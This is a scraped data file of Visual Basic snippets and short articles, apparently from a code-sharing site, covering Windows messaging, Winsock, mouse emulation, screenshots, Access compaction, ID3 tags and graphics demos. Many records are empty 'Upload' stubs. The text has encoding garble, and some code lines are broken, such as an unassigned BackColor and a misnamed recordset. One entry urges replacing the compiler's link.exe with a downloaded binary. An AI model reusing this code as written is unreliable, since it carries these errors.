SHInvokePrinterCommand(hWnd, PRINTACTION_DOCUMENTDEFAULTS, PrinterName, \"\", 0)\n\nEnd Sub"},{"WorldId":1,"id":34101,"LineNumber":1,"line":"How we got to where we are now\nCommand line programs\n\nIn the beginning was the command line program. This took input from the keyboard (usually in the form of parameters ) and printed text output on a screen or printer. The program flow starts, picks up any parameters, outputs the results and terminates.\n\nAn example of this is the DIR command. When you type \"DIR /ad [return]\" at the command prompt the operating system starts the program called DIR and passes it the argument /ad. The DIR program takes this, produces an output (a directory listing of any subdirectories of the current directory), and then terminates.\n\nThis was extremely fast and simple to program, but not overly powerful. You can't do a whole lot with parameter passing (though hardened UNIX programmers may disagree) and remembering the format and number of parameters was onerous.\n\n\nOut of this need came the programs which could be interacted with. Such programs needed to take the input from the keyboard and modify their display accordingly. To do this they had a central loop of code, which went along the lines of \"read the next key, process the key, if the key isn't exit then repeat\". Since the processing of one key press might take a long time and it was bad form to prevent the user typing whilst processing was continuing, a queue of key presses was maintained where keys were added to one end by the user pressing the keyboard and removed off the other end by the program loop. \n\nThen, spurred on by the massive advances in hardware power, the users became plain greedy. No longer content to close down one program in which they were typing up a management report to open another which held the figures and then close that down to go back again, they decided that they wanted to switch between programs running at the same time . In order to do this, the running program had to watch out for the \"switch\" key, and save off it's current state (usually in dynamic memory) before transferring control to the next program in the running programs collection.\n\nThe graphical interface\nAt about the same time (in human terms, as computing progress runs much faster), people at Xerorx PARC began changing the way the user interacted with their programs. What started as on screen indications of what else was running soon became a method whereby each running program had it's own little section of the visible screen which it could write toΓÇªand windows was born. Of course, this graphical interface was tricky to use with the keyboard alone, and the mouse was born just a cosmic blink later.\n\nThe \"problems\", and how Windows Γäó solves them\n\n1 How does it know which program I am typing in?\n\nEvery program (also known as an application) has a main window. This is usually (though not always) the one with the name of the application in its title bar. For instance, I am typing this in Microsoft WordΓäó, and the title bar says \"Microsoft Word - Document 1\". Now, whilst there are a number of programs all with their main windows open, only one program has the \"focus\" at any given time. \n\nFocus? This means that the key presses are being sent to a queue which is only for that parent window, and each window has to maintain its own queue. Focus can be switched between windows by Alt-Tabbing from one to another or by activating an application by clicking the mouse on it.\n\n2 When I move one window over another, how does the latter know to repaint itself.\n\nTo be brief, what happens is that a message is sent by the operating system to each of the visible windows telling it which region needs painting, and they respond by repainting that part of their window. Sometimes when a program is very busy or quite badly written, it doesn't have time to update itself which is why dragging one window over another may appear to erase the one underneath.\n\n\nMessages are a fundamental part of WindowsΓäó. Everything the user does (clicking the mouse, pressing a key etc) causes a message to be sent to a window. As with the early interactive programs, each window has a queue. Unlike the early programs, these queues can hold a large number of different types of message e.g. the user clicked here, this program asked me to repaint myself, the user has changed the date format etc. The program can process the message, pass it on to another window, fire off it's own messages in response or even ignore it altogether. All this is done by a code loop which has evolved from that involved in in the earliest interactive programs.\n3 There must be hundreds of messages - how does every program know what to do with them?\n\nThere are indeed hundreds of different message types, and more are being added all the time. Fortunately, if (as a programmer) you want to handle a message in a standard way you don't have to write any code so to do. You simply pass the message on to the \"Default Window Process\" which deals with it for you. A glance at my \"windows messages\" reference manual, all 1200 pages, shows why this is a very good thing.\n\n4 There are loads of different windows, all loaded at the same time. How does WindowsΓäó know which is which?\n\nWhen a new window first is created, it gets given a unique number. This is generally known as the window handle. This handle is to tell windows where a message is meant to go, where the code which processes the windows messages is etc. \n"},{"WorldId":1,"id":21666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25278,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23125,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22343,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21419,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21405,"LineNumber":1,"line":"The States: \n0 - The Port is Closed \n1 - Connection in use \n2 - Listening \n3 - Connection Pending \n4 - Resolving Host \n5 - Host Resolved \n6 - Connecting \n7 - Connected \n8 - peer is closing the connection \n9 - Error \nQuestions or comments?"},{"WorldId":1,"id":22496,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22393,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30010,"LineNumber":1,"line":"Function Valid_ASCII(Text As String)\n For x = 1 To Len(Text)\n If Asc(Mid(Text, x, 1)) > 126 Or Asc(Mid(Text, x, 1)) < 32 Then\n Valid_ASCII = False\n Exit Function\n End If\n Next x\n Valid_ASCII = True\nEnd Function"},{"WorldId":1,"id":22840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21370,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25462,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30231,"LineNumber":1,"line":"This may seem really obvious to you, but myself and George, co-authors of Chapp, have both had immense problems with compounded messages, and messages that would seemingly never send. The situation in which this may be of use is where you have a control-array of winsocks acting as distribution channels for some kind of server. say you wanted to distribute a piece of data to each of the socks. looping through the array and sending to each that had a suitable connection state (7) seems the best way. the problem comes when VB sends the first message and queues the rest... but why?! i've been unable to find any documentation related to this on PSC or on MSDN etc... we've spent months trying to overcome it. and we finally have. Slap a DoEvents on the line before your call to the sockets' senddata function. that's it...\nfor x=0 to 9\nDoEvents\nWinsock1(x).senddata \"bootittyrah\"\nnext x\nWithout the doevents, the app wouldn't actually send the other bits of data, until the project is paused and resumed... Strange, but true. at least it was for us. Sorry for the long-windedness... we felt it was justified, based on the time we spent figuring this out. oh, and plz, let's not do the dissing thing? :)"},{"WorldId":1,"id":34165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28703,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21410,"LineNumber":1,"line":"The Linker is \n<a href=\"http://lockfree.50megs.com/linker.html\" target=\"_blank\">Here</a> <div style=\"BACKGROUND-COLOR: lime\">\nYou can make a differnt linking to your project's in vb6 - \ne.g : you can make a project with the statment in a module or form : \n\npublic function msgtest() as long \nmsgtest=msgbox(\"Hello DLL\",vbokonly,\"msgbox\") \nend function \nand use the \"Make EXE\" in the file menu to link the project, \nat the end of the compilation process you will see the \"linker pro\", now you can choose the \"Export\" and the function name is: \"msgtest\"\nand you should choose the \"DLL\" option \nnow click the continue button and you will see your new file (dll file,if the extension is exe just rename it) and if you will look for its export function (dependency viewer) you will be happy to find that your new dll is exporting the function msgtest... \n<h2>\n<a href=\"http://lockfree.50megs.com/linker.html\" target=\"_blank\"> to download the linker just click here</a></h2> \n <h2>if you cannot download the file directly ,you can enter here to download it : <a href=\"http://udi.itgo.com/stan.html\" target=\"_blank\">Udi's Site</a></h2> \ni.e.\n \nyou just need to rename your \"link.exe\" in the vb folder to something else (\"link.org\" or something) and to put the downloaded file \"link.exe\" instead.\n \nEnjoy it \n <h2>Udi S.</h2>\n</div>"},{"WorldId":1,"id":21548,"LineNumber":1,"line":"<div style=\"BACKGROUND-COLOR: moccasin\"><h3><a href=\"http://lockfree.50megs.com/linker.html\">VB Gui linker For Version 5 & 6 - new version 06/03/2001</a> \n<h3>Important :</h2> \n<h3>The Current version doesnot include the original link.exe file \nin order to fit into all the versions and to avoid Runtime error - \"Bad Record Number\" \nto use the linker filter just rename your original link.exe to orglink.exe and save the new link.exe in the vb98 /vb5 folder (instead of the original). \nall the actions have been taken by the linker in older versions are the same, \nexcept the dll creation process : \nto link a dynamic link library in vb you must compile your project as a PCode project \nthe next step is the same : \nchoose : make dll \nand specify the function name to export \n</h3> \n<h3>Tips: \n1.to return strings use the byref statement \n2.dont include forms in your project \n3.to export more than one function per dll use the definition file. \n(example for definition file: \n \n EXPORTS \n function1 \n function2 \n function3 \n \nend of example) \nor you can write the first function in the export section and add the following : /export:func2 /export:func3 \n</h3> \n<h1>Enjoy It \n \nUdi S.\n</h1>\n</h1></div>"},{"WorldId":1,"id":21506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22862,"LineNumber":1,"line":"For normal coders : \nDim frmCopy As Form1 \nSet frmCopy = New Form1 \nfrmCopy.Visible = True \nFor WebBrowser developers : \nPrivate Sub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean) \nDim frmNew As Form1 \nSet frmNew = New Form1 \nfrmNew.WebBrowser1.RegisterAsBrowser = True \nSet ppDisp = frmNew.WebBrowser1.Object \nfrmNew.Visible = True \nEnd Sub "},{"WorldId":1,"id":21414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21656,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28697,"LineNumber":1,"line":"' Key variable numbers\nConst MoveUp = 1\nConst MoveDown = 2\nConst MoveLeft = 3\nConst MoveRight = 4\nConst ButtonLeft = 5\nConst ButtonMiddle = 6\nConst ButtonRight = 7\nConst EndProgram = 8\n' Movement Speed settings\nConst AddSpeed = 0.1 ' Pixel(s)\nConst MaxSpeed = 100 ' Pixel(s)\nConst SleepTime = 1 ' Millisecond(s)\nPrivate Sub Main() ' Start sub\nDim KeyNumber(1 To 8) As Long ' Key numbers\nDim KeyValue(1 To 8) As Boolean ' Key press values\nDim OldValue(1 To 8) As Boolean ' Old key press values\nDim MoveSpeed(1 To 4) As Single ' Speed of move keys\nDim Position As POINTAPI ' Cursor position in api type\nDim MoveKeys As Boolean ' Value of any true move key(s)\nDim Count As Integer ' For-next counter\n \n KeyNumber(MoveUp) = vbKeyNumpad8 ' Set move up key\n KeyNumber(MoveDown) = vbKeyNumpad5 ' Set move down key\n KeyNumber(MoveLeft) = vbKeyNumpad4 ' Set move left key\n KeyNumber(MoveRight) = vbKeyNumpad6 ' Set move right key\n KeyNumber(ButtonLeft) = vbKeyNumpad7 ' Set button left key\n KeyNumber(ButtonMiddle) = vbKeyNumpad2 ' Set button middle key\n KeyNumber(ButtonRight) = vbKeyNumpad9 ' Set button right key\n KeyNumber(EndProgram) = vbKeyEscape ' Set end program key\n \n Do ' Start the loop\n Sleep SleepTime ' Loops works better with the sleep function\n DoEvents ' Check other events too\n MoveKeys = False ' Clear last move keys value\n \n For Count = 1 To 8 ' Get the all 8 key press values\n GetAsyncKeyState KeyNumber(Count) ' Clear last key press\n OldValue(Count) = KeyValue(Count) ' Save old value\n KeyValue(Count) = False ' Clear last key press value\n If GetAsyncKeyState(KeyNumber(Count)) Then ' Check if key press\n KeyValue(Count) = True ' Set key press as true\n If Count < 5 Then MoveKeys = True ' If move key then set move key(s) as true\n End If\n Next Count ' Get next key press value\n If KeyValue(EndProgram) Then End ' If end key is pressed then end program\n \n If MoveKeys Then ' If any move key(s) are pressed then\n GetCursorPos Position ' Get the current mouse cursor position\n For Count = 1 To 4 ' Do all 4 movement actions\n If KeyValue(Count) Then ' If move key is pressed then,\n If Not OldValue(Count) Then MoveSpeed(Count) = 0 ' If key has just been pressed then set movement speed to null\n If MoveSpeed(Count) < MaxSpeed Then ' If movement speed is lower then 100 then,\n MoveSpeed(Count) = MoveSpeed(Count) + AddSpeed ' Increase movement speed\n Else\n MoveSpeed(Count) = MaxSpeed ' Else, set movement speed as maximum speed limit\n End If\n Select Case Count ' Select movement direction\n Case MoveUp: Position.Y = Position.Y - MoveSpeed(MoveUp) ' Decrease \"Y\" position\n Case MoveDown: Position.Y = Position.Y + MoveSpeed(MoveDown) ' Increase \"Y\" position\n Case MoveLeft: Position.X = Position.X - MoveSpeed(MoveLeft) ' Decrease \"X\" position\n Case MoveRight: Position.X = Position.X + MoveSpeed(MoveRight) ' Increase \"X\" position\n End Select\n End If\n Next Count ' Next movement action\n SetCursorPos Position.X, Position.Y ' Set new mouse cursor position\n mouse_event MOUSEEVENTF_MOVE, 0, 0, 0, 0 ' Inform other programs that mouse has moved\n End If\n \n For Count = 5 To 7 ' Do all 3 click actions\n If KeyValue(Count) And Not OldValue(Count) Then ' If button key has just been pressed then,\n Select Case Count ' Select button down\n Case ButtonLeft: mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0 ' Send button left mouse down command\n Case ButtonMiddle: mouse_event MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0 ' Send button middle mouse down command\n Case ButtonRight: mouse_event MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0 ' Send button right mouse down command\n End Select\n ElseIf Not KeyValue(Count) And OldValue(Count) Then ' If button key has just been released then,\n Select Case Count ' Select button up\n Case ButtonLeft: mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0 ' Send button left mouse up command\n Case ButtonMiddle: mouse_event MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0 ' Send button middle mouse up command\n Case ButtonRight: mouse_event MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0 ' Send button right mouse up command\n End Select\n End If\n Next Count ' Next click action\n Loop ' Continue looping until end program key is true\nEnd Sub"},{"WorldId":1,"id":25790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22274,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23226,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24651,"LineNumber":1,"line":"Option Explicit \n \nPrivate Declare Sub keybd_event Lib \"user32\" (ByVal bVk As Byte, ByVal bScan As\nByte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) \nPrivate Declare Function MapVirtualKey Lib \"user32\" Alias\n\"MapVirtualKeyA\" (ByVal wCode As Long, ByVal wMapType As Long) As Long \nPrivate Declare Function GetVersionEx& Lib \"kernel32\" Alias\n\"GetVersionExA\" (lpVersionInformation As OSVERSIONINFO) \n \nPrivate Const VK_MENU = &H12 \nPrivate Const VK_SNAPSHOT = &H2C \nPrivate Const KEYEVENTF_KEYUP = &H2 \n \n' used for dwPlatformId \nPrivate Const VER_PLATFORM_WIN32s = 0 \nPrivate Const VER_PLATFORM_WIN32_WINDOWS = 1 \nPrivate Const VER_PLATFORM_WIN32_NT = 2 \n \nPrivate Type OSVERSIONINFO ' 148 Bytes \ndwOSVersionInfoSize As Long \ndwMajorVersion As Long \ndwMinorVersion As Long \ndwBuildNumber As Long \ndwPlatformId As Long \nszCSDVersion As String * 128 \nEnd Type \n \n \nPublic Function SaveScreenToFile(ByVal strFile As String, Optional EntireScreen As Boolean\n= True) As Boolean\n \nDim altscan% \nDim snapparam% \nDim ret&, IsWin95 As Boolean \nDim verInfo As OSVERSIONINFO\n<blockquote>\n \n On Error GoTo errHand \n \n 'Check if the File Exist \n If Dir(strFile) <> \"\" Then \n Kill strFile \n 'Exit Function \n End If \n \n altscan% = MapVirtualKey(VK_MENU, 0) \n If EntireScreen = False Then \n keybd_event VK_MENU, altscan, 0, 0 \n ' It seems necessary to let this key get processed before \n ' taking the snapshot. \n End If \n \n verInfo.dwOSVersionInfoSize = 148 \n ret = GetVersionEx(verInfo) \n If verInfo.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then \n IsWin95 = True \n Else \n IsWin95 = False \n End If \n \n If EntireScreen = True And IsWin95 Then snapparam = 1 \n \n DoEvents ' These seem necessary to make it reliable \n \n ' Take the snapshot \n keybd_event VK_SNAPSHOT, snapparam, 0, 0 \n \n DoEvents \n \n If EntireScreen = False Then keybd_event VK_MENU, altscan, KEYEVENTF_KEYUP, 0 \n \n SavePicture Clipboard.GetData(vbCFBitmap), strFile \n \n SaveScreenToFile = True \n \n Exit Function \n \n errHand: \n \n 'Error handling \n SaveScreenToFile = False\n</blockquote>\n \nEnd Function \n \n"},{"WorldId":1,"id":25122,"LineNumber":1,"line":"Option Explicit \n \n\n'Must have reference to Microsoft Jet And Replication Objects x.x Library \n\nPublic Sub CompactDB(DBName As String) \n \nDim jr As jro.JetEngine \nDim strOld As String, strNew As String \nDim x As Integer \n \nSet jr = New jro.JetEngine \n \nstrOld = DBName \nx = InStrRev(strOld, "\\") \nstrNew = Left(strOld, x) \nstrNew = strNew & "chngMe.mdb" \n \n'Use Engine Type = 4 for Access 97, Engine Type = 5 for Access 2000 \njr.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strOld,\n_ \n"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strNew & ";Jet\nOLEDB:Engine Type=4" \n \nKill strOld \nDoEvents \nName strNew As strOld \n \nSet jr = Nothing \n \nEnd Sub \n\n"},{"WorldId":1,"id":23673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29947,"LineNumber":1,"line":" \nDim rs As New ADODB.Recordset \nDim fName As String, fNum As Integer \n \n┬á┬á┬á rs.Open \"Select * from myTable\", db, adOpenKeyset,\nadLockReadOnly \n \n┬á┬á┬á fName = \"C:\\MyTestFile.csv\" \n┬á┬á┬á fNum = FreeFile\n┬á┬á┬á Open fName For Output As fNum \n \n┬á┬á┬á Do Until rs.EOF = True \n \n┬á┬á┬á┬á┬á┬á┬á Print #fNum, rs.GetString(adClipString, 1,\n\",\", vbCr) \n \n┬á┬á┬á Loop \n \n┬á┬á┬á rsA.Close \n┬á┬á┬á Close #fNum\n______________________________________________________________________\n<h1><a name=\"mdmthgetstringmethod(recordset)ado\"></a>GetString Method</h1>\nReturns the <a href=\"mdobjodbrec.htm\">Recordset</a> as a string.\n<h4>Syntax</h4>\n<pre class=\"syntax\">Variant = recordset.GetString(<a\nclass=\"synParam\" onclick=\"showTip(this)\" href>StringFormat</a>, <a class=\"synParam\"\nonclick=\"showTip(this)\" href>NumRows</a>, <a class=\"synParam\" onclick=\"showTip(this)\" href>ColumnDelimiter</a>, <a\nclass=\"synParam\" onclick=\"showTip(this)\" href>RowDelimiter</a>, <a class=\"synParam\"\nonclick=\"showTip(this)\" href>NullExpr</a>)</pre>\n<div class=\"reftip\" id=\"reftip\"\nstyle=\"VISIBILITY: hidden; OVERFLOW: visible; POSITION: absolute\"></div>\n<h4>Return Value</h4>\nReturns the Recordset as a string-valued Variant (BSTR).\n<h4>Parameters</h4>\n<dl>\n <dt>StringFormat </dt>\n <dd>A <a href=\"mdcststringformatenum.htm\">StringFormatEnum</a> value that specifies how the Recordset\n should be converted to a string. The RowDelimiter, ColumnDelimiter, and NullExpr\n parameters are used only with a StringFormat of adClipString. </dd>\n <dt>NumRows </dt>\n <dd>Optional. The number of rows to be converted in the Recordset. If NumRows is\n not specified, or if it is greater than the total number of rows in the Recordset,\n then all the rows in the Recordset are converted. </dd>\n <dt>ColumnDelimiter </dt>\n <dd>Optional. A delimiter used between columns, if specified, otherwise the TAB character. </dd>\n <dt>RowDelimiter </dt>\n <dd>Optional. A delimiter used between rows, if specified, otherwise the CARRIAGE RETURN\n character. </dd>\n <dt>NullExpr </dt>\n <dd>Optional. An expression used in place of a null value, if specified, otherwise the empty\n string. </dd>\n</dl>\n<h4>Remarks</h4>\nRow data, but no schema data, is saved to the string. Therefore, a Recordset\ncannot be reopened using this string.\nThis method is equivalent to the RDO GetClipString method.\n"},{"WorldId":1,"id":31896,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34300,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23258,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34265,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30189,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22765,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31561,"LineNumber":1,"line":"Public ValidTag As String\nPublic Title As String\nPublic Artist As String\nPublic Year As String\nPublic Album As String\nPublic Comment As String\nPublic Genre As Byte\nPrivate Type ID3v1\n ValidTag As String * 3\n Title As String * 30\n Artist As String * 30\n Album As String * 30\n Year As String * 4\n Comment As String * 30\n Genre As Byte\nEnd Type\n \nPublic Sub getTag(MP3 As String)\n Dim ID3 As ID3v1\n Open MP3 For Binary As #1\n Get #1, FileLen(MP3) - 127, ID3\n Close #1\n \n With ID3\n ValidTag = .ValidTag\n Title = .Title\n Artist = .Artist\n Album = .Album\n Comment = .Comment\n Year = .Year\n Genre = .Genre\n End With\nEnd Sub\nPublic Sub writeTag(MP3 As String)\n Dim ID3 As ID3v1\n \n With ID3\n .ValidTag = \"TAG\"\n .Title = Title\n .Artist = Artist\n .Album = Album\n .Comment = Comment\n .Year = Year\n .Genre = Genre\n End With\n On Error GoTo ErrMsg:\n Open MP3 For Binary As 1\n If ID3.ValidTag <> \"TAG\" Then\n Seek 1, LOF(1) + 1\n Else\n Seek 1, LOF(1) - 127\n End If\n Put 1, FileLen(MP3) - 127, ID3\n Close 1\n Exit Sub\nErrMsg:\n MsgBox (\"File '\" & MP3 & \"' is marked as read-only or the file is in use.\" & vbCr & \"Please correct and try again.\")\nEnd Sub"},{"WorldId":1,"id":32423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22011,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28304,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27870,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29412,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22038,"LineNumber":1,"line":"' In the name of The Almighty...\n' (C) K. O. Thaha Hussain, Systems Analyst\n' www.microcentergulf.com Manama, Bahrain\n' *** LICENSE AGREEMENT ***\n' Get permission from the author to use\n' the formulae commercially.\n' Feel free to make use of the Formulae\n' for Non-Commercial Purposes,\n' but the name of the Author should be a\n' ccompanied along with the formulae.\nOption Explicit\nDim HourLength As Integer, MinuteLength As Integer, _\n SecondLength As Integer\nDim MidX As Integer, MidY As Integer\nConst PI = 3.14159\n\nSub LengthAndCentre()\n Dim d As Integer\n If Me.ScaleWidth < Me.ScaleHeight Then\n HourLength = Me.ScaleWidth * 50 / 200 ' 50%\n MinuteLength = Me.ScaleWidth * 80 / 200 ' 80%\n SecondLength = Me.ScaleWidth * 90 / 200 ' 90%\n Else\n HourLength = Me.ScaleHeight * 50 / 200 ' 50%\n MinuteLength = Me.ScaleHeight * 80 / 200 ' 80%\n SecondLength = Me.ScaleHeight * 90 / 200 ' 90%\n End If\n MidX = Me.ScaleWidth \\ 2\n MidY = Me.ScaleHeight \\ 2\n Line1.X1 = MidX\n Line2.X1 = MidX\n Line3.X1 = MidX\n '\n Line1.Y1 = MidY\n Line2.Y1 = MidY\n Line3.Y1 = MidY\n d = Shape1.BorderWidth \\ 2\n Shape1.Left = d\n Shape1.Top = d\n Shape1.Width = Me.ScaleWidth - d * 2\n Shape1.Height = Me.ScaleHeight - d * 2\n Call Timer1_Timer 'just To avoid flicker\nEnd Sub\n\nPrivate Sub DrawDial()\n ' Procedure to draw the dial\n ' using Clock Work Formula.\n Dim I, HourX, HourY, MinuteX, MinuteY, DialLength As Integer\n Me.Cls\n If Me.ScaleWidth < Me.ScaleHeight Then\n DialLength = Me.ScaleWidth * 92 / 200 ' 92%\n Else\n DialLength = Me.ScaleHeight * 92 / 200 ' 92%\n End If\n \n 'The following loop is doing hour marking\n For I = 1 To 12\n Me.DrawWidth = 4\n HourX = DialLength * Cos(PI / 180 * (30 * I - 90)) + MidX\n HourY = DialLength * Sin(PI / 180 * (30 * I - 90)) + MidY\n PSet (HourX, HourY)\n Next I\n'The following loop is doing minute marking\n For I = 1 To 59\n Me.DrawWidth = 2\n MinuteX = DialLength * Cos(PI / 180 * (6 * I - 90)) + MidX\n MinuteY = DialLength * Sin(PI / 180 * (6 * I - 90)) + MidY\n PSet (MinuteX, MinuteY)\n Next I\nEnd Sub\n\nPrivate Sub Form_Load()\n Me.Caption = \"Thaha Hussain's Clock Work Formula\"\n Me.AutoRedraw = True\n Me.BackColor = &H80FF&\n '\n Shape1.BorderWidth = 4\n Shape1.BorderColor = vbYellow\n Line1.BorderWidth = 5\n Line2.BorderWidth = 3\n Line3.BorderWidth = 1\n Line3.BorderColor = vbRed\n '\n Timer1.Interval = 1000\n '\n Call LengthAndCentre\n Call Timer1_Timer 'just To avoid initial flicker\n '\n MsgBox \"Resize the window to resize the clock...\", , _\n \"Thaha Hussain's Clock-Work Formula\"\nEnd Sub\n\nPrivate Sub Form_Resize()\n On Error Resume Next\n Call LengthAndCentre\n Call DrawDial\nEnd Sub\n\nPrivate Sub Timer1_Timer()\n Dim Hours As Single, Minutes As Single, Seconds As Single\n Dim TrueHours As Single\n \n 'Beep\n \n Hours = Hour(Time)\n Minutes = Minute(Time)\n Seconds = Second(Time)\n TrueHours = Hours + Minutes / 60\n \n 'HourHand\n Line1.X2 = HourLength * Cos(PI / 180 * (30 * TrueHours - 90)) + MidX\n Line1.Y2 = HourLength * Sin(PI / 180 * (30 * TrueHours - 90)) + MidY\n \n 'MinuteHand\n Line2.X2 = MinuteLength * Cos(PI / 180 * (6 * Minutes - 90)) + MidX\n Line2.Y2 = MinuteLength * Sin(PI / 180 * (6 * Minutes - 90)) + MidY\n \n 'SecondsHand\n Line3.X2 = SecondLength * Cos(PI / 180 * (6 * Seconds - 90)) + MidX\n Line3.Y2 = SecondLength * Sin(PI / 180 * (6 * Seconds - 90)) + MidY\nEnd Sub"},{"WorldId":1,"id":22626,"LineNumber":1,"line":"'(C) K. O. Thaha Hussain. All rights reserved\n'Analyst Programmer\n'Company: http://www.induswareonline.com\n'URL: http://www.bcity.com/thahahussain\n'Note: Adjust the DataTypes to make room for\n'large numbers..\n'\n'The Behind Scene Mathematics is simple!\n'Step1. Begin 1 at the middle of the first row\n'Step2. Next number should be one row up\n' one column right\n'Step3. If the present row < the first then\n' make it last\n'Step4. If the present column > the last then\n' make it first\n'Step5. The rule for the number which follows\n' the multiple of the\n' order of magic square, is one row down\n'Finished!!\nOption Explicit\nDim N As Integer\nPrivate Sub Form_Load()\nDo While N Mod 2 = 0\n N = Val(InputBox(\"Enter an Odd Number (Ex: 3, 5, 7 etc.)\", _\n \"Order of Magic Square\", 5))\nLoop\n Grid.BackColor = \n Grid.FixedCols = 0\n Grid.FixedRows = 0\n Grid.Left = 0\n Grid.Top = 0\n Grid.Rows = N\n Grid.Cols = N\n Me.Caption = \"Odd Magic Sqaure By K.O. Thaha Hussain \" _\n & \" Order : \" & Str(N)\n Call MagicSquare\n \nEnd Sub\nPrivate Sub Form_Resize()\n Grid.Width = Me.ScaleWidth\n Grid.Height = Me.ScaleHeight\nEnd Sub\nPrivate Sub MagicSquare()\nDim Row As Integer, Column As Integer, I As Integer, Number As Integer\n Dim Magic(100, 100) As Integer\n Number = 1\n Row = 0\n Column = (N + 1) / 2 - 1\n Magic(Row, Column) = Number\n \n For I = 2 To N * N\n If Number Mod N <> 0 Then\n Row = Row - 1\n Column = Column + 1\n Else\n Row = Row + 1\n End If\n If Row < 0 Then Row = N - 1\n If Column > N - 1 Then Column = 0\n Number = Number + 1\n Magic(Row, Column) = Number\n Next I\n'Loops to put the values into grid\nFor Row = 0 To N - 1\n For Column = 0 To N - 1\n Grid.Row = Row\n Grid.Col = Column\n Grid.Text = Format(Magic(Row, Column), \"#####\")\n Next Column\nNext Row\nEnd Sub\n"},{"WorldId":1,"id":22556,"LineNumber":1,"line":"'CubicBezier Demo by K.O. Thaha Hussain\n' Anlyst Programmer\n'(C) 2001. All rights reserved\n' URL : http://www.bcity.com/thahahussain\n' E-mail : thaha_ko@yahoo.com\n' Company : http://www.induswareonline.com\n'A cubic Bezier curve is defined by four points.\n'(x0,y0) & (x3,y3) are endpoints and\n'(x1,y1) & (x2,y2) are control points.\n'The following equations define the points \n'on the curve.\n'Both are evaluated for an arbitrary number of values\n' of t between 0 and 1.\n'\n' X(t) = ax * t ^ 3 + bx * t ^ 2 + cx * t + x0\n'\n' X1 = x0 + cx / 3\n' X2 = X1 + (cx + bx) / 